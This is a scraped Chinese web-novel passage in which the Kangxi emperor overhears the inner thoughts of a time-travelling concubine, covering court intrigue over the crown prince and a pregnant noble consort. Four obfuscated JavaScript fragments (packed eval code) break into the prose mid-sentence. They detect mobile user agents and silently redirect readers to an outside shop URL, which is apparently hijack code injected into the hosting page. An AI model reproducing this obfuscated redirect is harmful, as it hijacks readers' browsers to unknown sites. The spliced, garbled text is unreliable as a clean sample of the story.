l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575722|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 阿图回来了,她和阿图亲近的时间都嫌不够,哪有心思再忙碌孙子的事情,她都多大年纪了,想好好养老了。 人家齐佳氏的心声说得对,她这个年纪少操心才能多活几年,多和女儿相处几年。 这也是康熙此时出现在永寿宫宫门前的原因,孝庄实在受不了了,专门让苏麻喇姑去告诉康熙,自己再不去永寿宫,以后心声他爱找谁找谁,老人家不伺候了。 康熙在乾清宫一直从早朝后坐到晌午,才带着宫人缓缓踱步到永寿宫里。 他以为自己是抗拒的,可心底那难以压下的些许雀跃,却让他此时怎么都无法忽视。 他阻止了正在打扫院落的宫人,抬脚走进早已挂上竹帘的回廊,犹豫片刻正想着要如何开口才不显突兀,就听到里面传来一声心声。 康熙心中顿时涌上喜意。 佟佳氏一族不能再出一个皇帝,可他又无法阻止对方的野心,索性表妹一直不曾怀孕,不知是不是天意。 如今终于怀孕了,他当然也高兴,只是身为帝王还是有一些担忧。 却没想到这时齐满月会给自己一个明确的未来。 女儿好啊……女儿才能阻止佟佳一族的野心。 他脸上终于从忐忑转为笑意,顺着梁九功挑起的门帘就要进去。 “可惜啊……”他的斗篷刚刚被宫人解下,里间的声音再次响起。 康熙动作一顿,他心头顿时有种不祥的感觉。 果然…… “这位皇八女连满月都没度过去……” 这样的心声如同重雷敲在他的心上,让他一时间僵在原地…… “皇上……”梁九功小心上前提醒了一句。 康熙深吸了口气,压下了那股子酸涩,走进里间,看到云月竟然坐在脚踏上做绣活,而且做的是齐满月的贴身小衣,那股子酸意骤然转成怒火。 “放肆!你们主子性子好竟惯得你们越发不成样子!”康熙的怒火让本就因他进来而吓得跪倒在地的云月瑟瑟发抖。 “你们的教引嫲嫲是谁!?梁九功!”康熙说着竟要直接吩咐梁九功将人送回内务府。 齐满月一时没反应过来,见他真的动怒赶忙起身走到康熙面前跪下:“请皇上恕罪,是臣妾因忧心宫人所住的地方实在不甚暖和,才让云月在我跟前做活。” 康熙此时自然也反应过来,这事儿一定是这位从心底就不大想守规矩的人让的,他本就是因为皇八女早夭的噩耗而起的怒意,此时见齐满月面上带着担忧和些许胆怯,也不禁消散了些许怒意。 此时齐满月的心声再起,熟悉的怒骂他狗皇帝的声音再次充斥他的耳边。 康熙已经无奈了,这丫头好也骂他坏也骂他,这狗皇帝之称就怕是有一日她真的说出口,自己也不会生气了。 见他脸色渐晴,齐满月不由松了口气:“请皇上恕罪,是臣妾心疼炭火,一切都怨臣妾。” 康熙听到这话忍不住皱起眉头:“怎么?永寿宫的炭火不够吗?” 齐满月连连摇头:“够得够得。” 云秀这才上前说道:“是太子殿下这些时日来得勤些,屋子里的炭就多烧了点,奴婢唯恐不够主子用的,便自作主张减了宫人屋子里的炭。” 康熙脑海中立刻想到一个月前的事情,心下对于太子,不免多了几分芥蒂。 30. 康熙来了~ 那还是大阿哥来找齐满月借机关鸟的第七日,也是惠妃第四次请齐满月过去小聚的日子。 私下多相处了几次,齐满月对这位早已没了宠爱的惠妃娘娘有了另一种认识。 这让她想起历史上对这位惠妃“自幼学习诗词、深谙汉儒文化”的评价,惠妃在康熙心中也有着极高的地位,很多时候康熙非常喜欢和她讨论史书,算是后宫少有能和康熙谈史论今的妃嫔。 而且她也不像后期小说里写的那样,或是高高在上,或是冷酷善妒,相反,这位惠妃性格偏向文静内敛,固然现在因身居高位而带有威严,可私下里对齐满月的态度,却一直很好,就像是她的亲姐姐一样。 也因为这样,之后很长时间齐满月出永寿宫的理由,就成了去她的延禧宫玩。 第一次送过去东西后,齐满月坐了许久才吃饱喝足地回到永寿宫,结果直接看到毓庆宫的小太监正在永寿宫里团团转。 云月见她回来,这才松了口气,赶忙迎上前简单说了下。 齐满月这才知道,大阿哥拿着机关鸟玩了几日后直接跑到毓庆宫给太子炫耀,太子这才派了小太监来到永寿宫,目的也只有一个,就是问齐满月这里可还有机关鸟。 齐满月一愣,她下意识开口问道:“不是听说皇上让太子协理黄大人一起研发新物,我这东西也是黄大人制作,太子让黄大人给他做一个便是。” 小太监赶忙躬身回道:“太子殿下让奴才回娘娘,皇上口谕不准各阿哥因玩乐一事叨扰黄大人。” “好严格……”齐满月心里顿时涌上一种莫名的且不熟悉的感觉,“康熙都不让黄履庄给太子做这些东西吗?,怎么三天两头地给我送?” 这股子疑问还没想出头绪,就被小太监开口的话打断:“倒也不是非要从娘娘手里得,只是大阿哥每日去毓庆宫,太子殿下实在咽不下这口气,也交代了,不需要娘娘将心头好拿出来,只拿出早已不想要的就好。” 听他这么一说,齐满月有再多的话也没法问出口了,只能点头让云秀去博古架上拿出另一个会叫的机关狗递给小太监。 从康熙开始给她送黄履庄的小发明开始,她几乎是三五天就能收到一个,现在虽然攒得不多,可也有了四五个,给出去两个也无所谓,毕竟她早已不是小孩子了,在前世又看到过太多稀奇的东西,对这些也不觉得太过稀奇。 东西送出后,大概隔了十来天,有一天在惠妃宫里闲聊时,大阿哥派的小太监求见,想要再借一个机关发明,并将机关鸟送回了。 惠妃当日还在调侃,大阿哥这次和太子比输了,正不高兴呢,这次怕是又要借着齐满月的机关发明去和太子相比了。 也因此,之后的个把月兄弟两人像是攀比上瘾一样,从最初谁先从齐满月这里拿到最新的机关发明,到谁能拿到更好的更复杂的。 本来这种兄弟间的逗弄并未曾被宫人们放在心里,连惠妃都只当是孩子们玩闹,可偏巧被一个宫人传到了康熙耳中。 “你是说,这些时日,太子不仅时不时和大阿哥去永寿宫借机关物?还时不时在永寿宫坐上大半个时辰才走?” 梁九功不明白,太子年幼和永寿宫这位宠妃相处实在谈不上需要避讳的地方,皇上为什么突然脸色阴了下来,声音中更是带着明显的怒意。 他想不明白这些事,可是皇上的话是总要回的,他干脆跪在地上,恭敬回道:“是,下面的人是这样报上来的。” 康熙眼眸幽深的扫过虚空,他当然明白太子的意思,可就因为明白,才如此愤怒。 太子不信任他这个父君会做出二废二立的事情,所以他要去永寿宫试探未来,这才找了这样一个在他看来极为荒谬的理由。 “去毓庆宫传旨,让太子专心学业,没事儿不要往后宫跑。”他扫过梁九功,声音的冷意越发明显,“你亲自去。” 梁九功虽然不懂发生了什么,却明白皇帝对太子有了……警惕! 他忍不住在心里倒吸了一口气,他虽是个阉人,也因宫廷规矩不识字,可幼年时也曾听过大街小巷说书的讲过那些父疑子亡的故事。 他本以为自己服侍的这位主子,即便对太子有了戒备也该是年迈的时候,却不承想从这时就开始了…… 梁九功压下忍不住想要颤抖的身体,低声应了,起身、后退…… 就在他即将出门前,康熙的声音再次传来:“去大阿哥那里,也告诉他,少玩物丧志,多跟师傅们学习。” 隔着一段距离,梁九功已经无法分辨康熙现在是什么语气,只恭敬地应下后,在心里叹着气,这位主子应该还有一份爱子之心吧…… 康熙从那时复杂的心绪中回过神来,他本以为那次堪称严厉的斥责,太子会收敛几分,却没想到今日竟然听到太子毫不悔改,一时间脸色不是一般的难看。 跪在地上的齐满月被他忘记,可齐满月的心声却一直未断。 “嘶……膝盖好痛!狗皇帝,谁惹他揍谁啊!罚我干嘛!” 直呼痛的心声将康熙内心的怒意压去了几分,他看了眼齐满月,才说道:“起吧,这次看在你们主子面儿饶了你们,以后皮子紧着点,别仗着主子好性,没了规矩。” 云月脸色苍白地谢恩,又在小宫女的搀扶下离开,梁九功在康熙的示意下,给云秀使了个眼色,两人也同时退去。 康熙看着齐满月脸色还是有些不好,才无声叹了口气说道:“你便是脾气再好,也不能惯着宫人在你的主殿做这些私密之物,若是有其他妃嫔而来,岂不是失礼。” 齐满月自是再次起身请罪,被康熙拦下后,也满含愧意:“是臣妾考虑不周,皇上教训得是。” 康熙看她表情似真心悔过,也不再多说什么,却不想齐满月的心声骤然响起。 “狗皇帝!满宫里不是阿哥这些娃娃,就是太监,唯独一个正常男人是你,我怕个鬼看哦!妃嫔们都是女的,太监们……嘶,还真不能算女的,也不能算男的吧,再说不就是肚兜儿,前世内衣店还开得大街小巷呢!” 康熙不是第一次从齐满月的心声中听到有关于她前世的事情,可还是没想到对方的前世竟然是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578107|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 样的……他想了半天只想出一个世风日下来。 再一转念,那前世竟是未来,瞬间觉得眼前一黑,只觉得幸好,他后宫只有一个未来人,且还是个会装作乖顺模样的。 “狗皇帝来做什么?”熟悉的吐槽继续响起,康熙垂眸想了想才说道,“这些时日,朕没来看你,可心生埋怨?” “埋怨个屁!我小日子过得舒服得很嘛~” 康熙本以为能从对方的心声里,听到些许埋怨,不承想听到的全是对方,对这些时日潇洒日子的开心和庆幸,顿时心里起了一念。 “你入宫也快一年了,之前数次召你侍寝,多因政务打断,不若今日你便去乾清宫侍寝?” 齐满月低垂着眼眸,白眼都要翻上天了。 “谁想睡一个那么多女人的男人!烦死了,不侍寝也不行,侍寝又好讨厌。” 她在心底重重叹了口气:“戴着帽子也就算了,侍寝肯定要摘帽子,发型真的太丑了……” 看她满心抗拒,康熙并不觉得生气了,只觉得好笑,他就知道对方会这样,才故意提起侍寝的事情逗逗她。 不过听着齐满月说他的头发难看,康熙眼眸不由深了深,他这一年来也没闲着,偷偷在民间调整了剃发的规矩,按照大臣们所报,有些汉人已经开始偷偷多留头发了,甚至不少满人也跟着学。 当然也有偷偷举报的,但官府却一副民不举官不究,民一举官轻究的态度,也让聪明人探出了一点讯息。 也有满蒙老臣唯恐康熙像先帝那样,崇尚汉学,到最后完全废止剃发易服,上了不少折子。 可康熙一律是留中不发,也让老臣们探出了些许信号,其中不少老臣也在偷偷想办法往慈宁宫传消息。 想到这里,康熙不由庆幸,幸好之前将淑慧大长公主直接接了回来,这些日子太皇太后一直和女儿一起,完全不过问政事,也让他腾出手来慢慢加快速度。 不求真的如齐满月所言回到汉人王朝,倒也能接近她所说的大辫子那样。 “金钱鼠尾……咋想的啊,真丑啊……”吐槽他们满人发型的心声喋喋不休。 康熙偷偷翻了个白眼,非常想把帽子摘掉,给她看看,现在的头发已经有变化了! 可想到这样的举动实在诡异,他只能暗自压下这股冲动,对于召齐满月侍寝这件事反而放在了心上,毕竟这是他早就有过的想法。 康熙并没有在永寿宫呆太久,不过却从齐满月的心声中知道了不少妃嫔的结局,固然没有他想知道的,但也能勉强从这些中窥探出朝堂变化。 起身离开后,他还不忘故意吓唬齐满月:“晚上记得侍寝啊。” 云秀等人自然是开心的,只齐满月看着他的背影,心声里满满都是烦躁,让康熙实在没忍住带着满脸笑意离开。 在外面等了许久的梁九功见他难得从永寿宫出来如此开心,不由一愣。 康熙没在意他,踱步离开永寿宫,齐满月所说的皇八女早夭的事情慢慢涌上心头,他忍不住叹了一口气,心中的某个念头在缓缓升起…… 31. 过完年了! 在受到康熙第二次明旨斥责后,毓庆宫的氛围实在说不上好。 太监宫女们每个都恨不得自己是空气一样,行动举止间不发出一丝动静,连呼吸都停止,尤其是当他们无意中扫到太子那张铁青的脸。 胤礽冷眼扫过众多宫人,耳边响着隔壁喇嘛的念经声,一种无法抑制的怒火由心底而起,他此时想要冲过去将那些扰人的声音彻底捻灭。 只是这样的念头没起多久,一股不知从何处用来的冷静袭上他心头,他不能也不可在这个时候再闹出事端。 想了想,胤礽说道:“汗阿玛怎么会突然斥责本宫?” 小太监颤抖着腿,低声说道:“是……皇上今日临幸永寿宫,里面发生了什么不曾知晓,只知不过片刻襄嫔大宫女云月被拖出来,之后没多久,皇上旨意就传下来了。” 小太监没听到胤礽开口,寂静的环境让他再一次咽了咽唾沫后,才壮着胆子说道:“大……大阿哥那里也下了旨意。” 他这样一说,胤礽的脸色不由好了几分,好歹康熙顾忌了他的脸面,两个阿哥一同受斥责,说到底也是年纪小不懂事,若只有他一个…… 这样想着,胤礽沉着脸摆手让宫人退下,这才坐回到书桌前。 那从永寿宫借来的东西被直接放在博古架的角落中,并没有多少玩过的痕迹。 他眼眸扫过那些发明,随后将目光投向手中的课业,许久后才轻喃道:“看来私下接触襄嫔的法子还是不行啊……” 手不由微微收紧,课业边缘被握出明显褶皱,他的眼底幽深,多了过去从未出现过的冷静和算计。 康熙回到乾清宫后第一件事就是过问永寿宫炭火一事。 梁九功一边安排人去内务府喊人,一边不由为对方可惜。 襄嫔虽是一宫主位,可说到底只是嫔位,炭火也说不上不足,只是实在不到挥霍的地步,这事儿内务府谈不上错,顶多是不大上心,但也算规矩。 可也就是这样的规矩,落在皇帝眼中也就成了错。 内务府总管大臣海拉逊在来的一路就已经从小太监的口中得知了皇上召见的缘由。 他猛吸了几口气,只恨不得将手底下那几个眼高手低的家伙狠狠处置一番,他们早不是第一次因为后宫嫔妃失宠而区别对待了,自己训过数次可依旧是有样学样。 海拉逊倒也不是那样公正的人,跟红顶白本就是人类天性,他自然也是,只是他不会那么着急也不会做得那样明显。 不过他也能理解,毕竟那些官员本就是因此可以克扣些物资下来,亦或是从那些妃嫔太监宫女手中得些银钱。 往日闹得不大,他基本上都能瞒得住,再加上那些人倒也聪明不会直接对明显受宠的妃嫔和家里有家世的妃嫔做出这样的蠢事。 只可惜,后宫出了个名字响亮可家世不咋地的齐佳氏,她曾颇受宠爱,却谁也没想到一夜之间又失宠。 他是本着此刻留一线日后好相见的想法,又想着对方之前失宠又复宠,这才没掺和,但随着时间流逝,他也开始漠视永寿宫的事情,这才让那几个胆大的动了心思。 想到这里,海拉逊只满心祈求上天,希望皇上只是问一问,对永寿宫襄嫔确实心思淡了,只是随意过问几句。 即便心里知道这些祈盼不过是虚妄,可海拉逊还是一路祈求着老天照顾他一回。 海拉逊迎着梁九功那双充满同情的眼神,心惊胆战地走进懋勤殿,不到半个时辰,他白着脸,满头大汗地走出来。 梁九功见他双腿战战一副站不住的模样,赶忙给旁边的小太监使了个眼色,让他扶着海拉逊回内务府。 海拉逊不忘给了他一个感激的眼神。 将那股积压许久的内火直接发泄在海拉逊身上后,康熙毫无愧疚之意地坐在御座上。 如今已经是腊月二十四,距离封印刚刚过去两日,他并无要紧的政务需要做。 若是往年,这个时候他一般就是陪伴下太皇太后,看看几位高位妃嫔,到宠妃宫里坐坐,再召几个年轻貌美的小嫔妃伴驾。 可如今,他是一点心思都没有,无论是该如何对待齐满月,还是齐满月今日暴露的有关于皇八女的心声,都让他无法提起丝毫玩乐的兴致。 至于晚上召寝齐满月一事,本就是玩笑话,自然也没再提,梁九功等人见皇帝这幅样子,自是也不敢开口。 过年前的时间总是忙得不可开交,时间也在这样的忙碌中飞快流逝,很快就过了大年初一,来到大年初二。 从腊月三十到大年初二,白日里举行宴会,晚上康熙按照规矩要去皇后宫里过夜。 只是如今后宫没有皇后,按照往年的规矩,他会轮流去几个高位嫔妃宫里坐坐,然后回乾清宫休息。 不过他今年本是打算初二去皇贵妃宫里过夜,尤其是她如今有孕,便是破例,后宫也无人敢说些什么,即便是太皇太后也不会多言。 只是齐满月那句“皇八女未满月夭折”的话不住在他脑海里盘旋,紧跟着的就是皇贵妃佟佳氏会因为这个孩子身体衰败,直至早亡。 从宴会回来后,康熙就一直待在乾清宫,今日他本想召见太医谈谈皇贵妃的身体,只是又怕他人怀疑是他身体有问题引起无端揣测,百般纠结后,直至天色渐晚,他都不曾下定决心。 夜幕渐沉,清宫也渐渐安静下来,康熙刚刚想明白,打算让梁九功悄悄唤来御医时,一阵急促的脚步声打破了沉静。 “皇……皇上!承乾宫传来消息!皇贵妃……皇贵妃晕倒了!”小太监连滚带爬地进了懋勤殿。 康熙此时连斥责的心思都没有,齐满月那一句句心声就像是诅咒一样不住地在他的脑海里转着。 梁九功赶忙上前扶住康熙。 康熙回过神来,直接厉声说道:“愣着干嘛!还不赶紧摆驾承乾宫!” 急匆匆地来到承乾宫的时候,皇贵妃佟佳氏还未从昏迷中苏醒,几个太医正围在一旁,低声商量着用药。 康熙摆手打断了众人的请安,直接开口问道:“皇贵妃如何?!” 领头的太医赶忙上前回道:“回皇上,皇贵妃娘娘是忧思过度,才动了胎气。” 秋月在旁噙着泪赶忙跪下回道:“娘娘这胎一直不甚安稳,每日膳食也用不多,这些时日更是时常精神不济,今日荣妃娘娘让宫人来回了件要紧事,娘娘便想着早点处理,不承想宫务未处理完,人就……” 康熙看着床上的皇贵妃脸色苍白,身形瘦削,他这才恍惚,这些日子因自己心生恐惧而没来,竟然错过了对方这样的变化。 想到这里,他目光扫向皇贵妃尚且还算平坦的腹部,眼眸中闪过些许杀意。 一个未曾出世的孩子,即便知道那可能是他和表妹唯一的骨血,可看着表妹如今孱弱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580937|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 身体,想到她会为了这个注定而亡的孩子而伤心过度早逝。 康熙便觉得那个孩子似乎也没那么重要了。 他坐在床边,手紧紧握着皇贵妃的手,纤细的葱白手指带着些许冰凉,孱弱地放在他的掌心,他紧紧握着,却觉得手中空无一物…… 太医、宫人们似乎也从他这个无比慎重的脸色中察觉出了一二,一时间承乾宫主殿安静得有些可怕。 他们都在等待着,等着康熙说出那个可怕的决定。 “……表……表哥?”就在氛围就像是拉紧的弓弦即将绷断的时候,皇贵妃从昏迷中醒来。 康熙赶忙将她扶起,秋月眼尖手快将一床被子塞到皇贵妃身后,太医们快速上前给她诊脉。 “回皇上,娘娘身体已无大碍,只需日后平心静气好生养胎便是,臣等已开了安胎方子。” 康熙要来方子,自己看了一遍后,才点头让宫人下去开药。 太医们退去,康熙转头看向皇贵妃就想提起自己刚刚的想法,却见皇贵妃一脸柔和地轻轻抚摸着自己的小腹。 在看到康熙看向她时,脸上的笑意也越发明显:“表哥,以后我都会注意的,定会好好保护好我的孩子……” 这样的话落在康熙的耳中,他只觉得如鼓重锤一样,嘴里发苦,那样残忍的话是如何都说不出口了。 皇贵妃佟佳氏和他本就是一同长大,自然最了解他的心思,见他这样心下不由咯噔一下。 或许是骤然苏醒,她并没有像往日那样完美地掩饰住自己真实的心思,脸上表露出来的些许恐慌和忐忑实在明显。 落在康熙眼中更是如针刺一般。 “嗯……你日后好生休息,你可还要看着咱们的孩子慢慢长大,娶妻生子的。”他嘴里满是苦意,将一些心思缓缓压下,撑着那副无懈可击的笑容,轻抚着皇贵妃的手。 康熙没说她肚子里是个女孩儿,也没说她的未来,只是沉默地陪着她坐了很久…… 康熙离开后,皇贵妃睁开双眼,招来秋月打听了今天发生的事情。 秋月并不知道心声的事情,也不懂康熙为何这样担忧,只当是对自家主子的疼宠,此时即便讲述也带着几分笑意,那是满满都是对皇贵妃未来的期待。 可皇贵妃心下却一沉,她知道心声,更了解皇帝,康熙纵然关心她,也不至于是那样的为难,只可能是…… 她下意识摸向小腹,那刚刚还充满幸福雀跃的心,此时像是被压进了无数的秤砣,带着她和她所期盼的孩子一同堕入深渊。 阿哥所的房子里,四阿哥胤禛看着窗外的月光发呆。 自从皇贵妃有孕后,为防止冲撞,他暂且被送到了阿哥所。 如今他四岁了,被提前安置在阿哥所倒也不算奇怪,毕竟按照宫规大部分的皇子皇女都会在六岁以后搬到单独的居所。 只是虽然理解,可年幼的四阿哥对于皇贵妃心中到底起了一丝波澜…… 康熙在乾清宫坐了许久,直到酒上了三波,他醉意上头,才突然起身。 按理说皇帝不能如此肆意醉酒,可梁九功不敢劝啊,只能在看到他起身才松了口气,只当皇帝终于要休息了。 却不承想,康熙站起身就往外走。 梁九功手忙脚乱地带着人,拿着厚重的氅衣跟上,直到康熙一路来到永寿宫,强硬地敲开宫门,直奔主殿而去…… 32. 酒后侍寝 一切是怎么开始的呢?齐满月歪了歪头看向旁边正在沉睡的男人,她嗅着空气中微弱的石楠花味道混合着酒气,忍不住对着虚空轻轻啧了一声,酒果然不能多喝。 看着还黑着的夜晚,她的思绪回到前一天晚上。 早早解开头发爬上床的她,睡得正香就被守夜的云秀叫起:“主子,皇上来了!” 她脑子当时一片糨糊,只想回到香喷喷暖乎乎的被窝来一场永恒缠绵的美梦,只是云秀的动作实在利落,直接拿着沾水的帕子往她脸上一盖。 稍有些冰凉的感觉让她精神不由一振,脑子也清醒了几分。 “咋了这是!?”她看着云秀和云月带着几个小宫女手忙脚乱地给她梳头换衣服,脸上满是迷茫。 “主子哎,您抬抬脚!”云秀哪里有时间再顾得上给她解释,只恨不得自己会仙术,直接给她来个大变活人。 “云秀姐姐!皇上进来了!”齐满月还没收拾妥当,小宫女已经急匆匆跑了进来。 云秀听后忍不住对着屋顶翻了个白眼,转瞬又反应过来自己的大逆不道,赶忙轻咳掩饰两声后,才对小宫女说道:“还愣着干嘛,快扶着主子出去。” 小宫女扫了眼已经换了一身常服,头发被简单挽起得齐满月,手脚麻利地上前扶着人就往外走。 云秀又赶紧安排小宫女将有些凌乱的房间简单收拾下,才赶紧出去跪迎。 等她出去的时候,康熙已经紧紧搂着齐满月不撒手了。 齐满月闻着他一身酒气,骂人的心声就没断过。 “闭……闭嘴……”康熙醉醺醺地伸手捏住她的嘴巴,把齐满月气得白眼直翻,心声更是直接吐槽道,“狗皇帝撒手!请个安都不行嘛!你有病啊!” 康熙似乎从她连珠炮一样的怒斥中反应过来,松开了口,也松开了齐满月:“襄嫔?” “皇上,是臣妾,皇上怎么这么晚了来永寿宫?今天是大年初二,按制您该歇在乾清宫的。”说着齐满月不住地给紧跟后面的梁九功使眼色。 梁九功见她这样,眼神赶忙转到他处,哎呀,这永寿宫的花儿还真好看,地板也不错的,博古架上的摆设也稀奇…… 齐满月忍不住磨了磨牙,斜眼瞥向又要倒向自己的康熙,实在没忍住:“皇上,这不合规矩。” 康熙捏了捏她的嘴:“朕不爱听,朕是天子,天子即是规矩。” 刚说完他打了个酒嗝,这气味让齐满月恨不得塞双袜子进他的嘴,不过也就这时,她眉眼一转想了个主意:“皇上,既然您睡不着,不如臣妾陪您喝一杯。” 齐满月倒不是真想喝酒,只是想着这位一看就醉得不轻了,自己干脆直接将人灌得醉死过去,然后让梁九功安排人抬回乾清宫,到时候谁也不能说个啥。 至于自己的酒量,她忍不住露出一抹不易察觉的得意,前世她可是千杯不醉,这种还不算精酿的酒,她能灌八个康熙! “啪!”齐满月白皙纤细的手拍在自己的额头上,“我怎么就忘了,前世的酒量不代表现在酒量也好啊……” “而且……”她扭头看了眼康熙,嘴咧了又咧,她怎么记得自己记忆里是她主动亲了对方,又把人硬推到自己床上的…… 她心里不住在心里暗骂了自己好几句。 “但也不能是三杯倒吧?!”齐满月嫌弃地瞥了眼旁边的男人,心里是五味杂陈,她是想不到酒后乱性这种事能发生在自己身上。 不过她的眼眸在康熙的被子上扫了又扫,心里的怀疑缓缓上爬:“按照科学来说,男人酒后应该是……” 齐满月的心声还没讲完,康熙突然一个翻身将心声打断。 齐满月赶忙闭眼假装睡熟了,却没注意到一旁的康熙嘴角偷偷勾起…… 装睡这种事情永远是装着装着就真的睡着了,等第二天齐满月醒来的时候别说请安,连早饭都没赶上热乎的。 “主子,皇上和太皇太后的赏赐都造册入库了。”云秀一脸难掩笑意地过来服侍她起床,不忘细致交代,“皇上特意交代过,今日免了请安,太皇太后也传了懿旨免了您的请安。” 正说着呢,云月突然脸色有些不悦地进来:“主子这一侍寝什么人都来了。” “怎么了?”齐满月打了个哈欠,忍不住问道。 “是那个成贵人,这许多日子不来了,今日突然过来。”云月撇了撇嘴。 云秀没忍住低声警告道:“你还不长记性,这话也是你能说的。” 云月脸一白,赶忙噤声。 齐满月叹了口气,放下碗筷后才说道:“这都是什么事儿啊……” 云秀一向看不惯她的不上进,忍不住说道:“侍寝还不好?您要是再有个一儿半女也算有了依靠了。” 齐满月听后特意转过脸看向云秀,刻意给她翻了个大大的白眼。 云月在旁没忍住差点笑出声来,只是在云秀警告过她后,才赶忙再次噤声。 云秀无奈叹了口气才继续交代道:“明日早上请安,您记得给太皇太后那边谢恩。” “知道了~”齐满月有些不耐烦记这些规矩,也多亏了云秀如此有耐心还那么可靠。 云朵从外面端了个托盘进来,对齐满月躬身行礼后,将东西奉上她的面前:“主子,这是内务府送来的,说是之前主子要的东西,今日终于做出来了。” 齐满月忍不住挑了挑眉,她揭开上面盖着的布,发现里面是十来个掌心大的雕花木盒,拿起一个打开,里面是花生粒大小的蓝色的颗粒。 齐满月拿起一个在眼前看了看,笑意顿时染上眉头:“可算做出来了。” 自从两个月前,她偶然和惠妃聊天的过程中才知道皇上特意交代了皇贵妃,不要阻拦她的玩乐,她才试探着提出做彩色蜡粒。 当时惠妃只是协理后宫,并没办法直接应她,只说帮她回了皇贵妃,后来皇贵妃有孕,惠妃和荣妃接手宫务,再加上过年,一时间也没人在关注这个。 齐满月也只当大家忙或者自己提的这个实在有些惊世骇俗才被皇贵妃拒了,也没多在意,却没想到今天给送来。 云月在旁嘴巴一撇继续说道:“这群跟红顶白的,还不止呢。” 说着她快走两步,直接来到齐满月身前,不顾云秀警告的眼神直接说道:“今日不光份例给得更好了,连炭都多了不少。” 齐满月捏着蜡粒的手一顿:“宫里的份例不都是定死的吗?咱们的份例也不曾短缺,怎么就多送了?” 云月撇着嘴:“这宫里受宠的和不受宠的虽说有着规矩把着,可这里面的门道就太多了。” 说着她就将后宫各种门道细细讲了一通。 云秀看着云朵和齐满月听得认真两眼放光,无奈摇了摇头转身离开,算了反正永寿宫有她看着,这话也传不出去,让自家主子听听也好,免得天天跟个小傻子一样。 想到这里,云秀犹豫地拍了拍自己的嘴,自己也跟着越来越没规矩了,这样想着,她扭头看向后面的主仆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583594|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 几人,嘴角洋溢着她自己都没发现的笑。 蜡粒到手,齐满月又一大早听了那么多辛密,只觉得神清气爽,连经过一晚情事的腰酸背痛都顾不得了,挥手对云月和云朵吩咐道:“走!带你们玩个新玩意儿!” 云朵和云月本就是因这些奇怪的东西好奇,听她这样一说,两人齐齐点头。 云月性格本就偏向活泼,云朵过去谨慎胆小些,如今也越发活泼了,两人站在一起,若不是面相相差太大,活脱脱一对双胞胎。 齐满月暗自偷笑了下,才带着两人和蜡粒、工具转身进了专属的做手工的小隔间。 那边乾清宫里,康熙此时简单处理了封印的工具,就坐在御座前发呆,许久后才问道:“襄嫔起了吗?” 这话问得梁九功一愣,他怎么知道后宫妃嫔起没起,这样想可不能这样答,只能偷偷扫了眼天色才说道:“回皇上,已经巳时了,想来襄嫔娘娘已经起了。” 康熙刚问完就想到了这事儿问梁九功没用,只没想到梁九功直接这样回他。 他扭头看了眼西洋钟,上面明晃晃地告诉他现在九点多了。 他忍不住叹了口气,早上彻底醒来后,他看着睡在一旁的齐满月,那带着一丝后怕和尴尬的情绪缓缓爬上心头。 对于自己酒后把人睡了这件事儿,他当然不后悔,毕竟虽说喝醉了倒也没醉倒完全人事不知,甚至说看着那张绝美的脸染上酒意后,他这样的选择是绝对遵从本心的。 只是他还是不免担心这件事会不会被系统判定是伤害,当然也怕对方那口无遮拦的心声会骂他多久。 于是天刚蒙蒙亮,他就悄悄起床,交代了永寿宫宫人免了请安的事,赶紧躲到乾清宫里来了,当然他也没忘记赏赐的事情。 想见齐满月的心和担心被骂得太难听的心不断纠结,直到想见对方的心占了上风,他这才开口。 看着西洋钟许久后,就当梁九功以为他会继续发呆或者忙政务的时候,康熙突然站起身,轻咳了两声:“摆驾……永寿宫。” 梁九功赶忙去安排。 康熙在懋勤殿不住给自己打气了许久,才出门坐上御辇。 永寿宫和乾清宫的距离一般来说他抬脚就过去了,只是今天他实在想在御辇上好好想想见了人该说什么,这才选择了御辇。 细微的摇摆间,永寿宫就在眼前。 摆手阻止了宫人的请安和回报,康熙深吸了口气,抬脚踏进永寿宫宫门,只等着那充满愤怒或者不满的心声袭上心头,可出乎意料地什么都没听到。 “你们主子呢?”康熙诧异间不免有些担忧,直接对跪迎的云秀问道。 “回皇上,今日内务府送来了娘娘要的东西,娘娘带着宫人进了小隔间,奴婢这就进去……” “不必!”康熙眼中闪过好奇,摆了摆手,阻止了要进去的云秀,“朕自己去看看。” 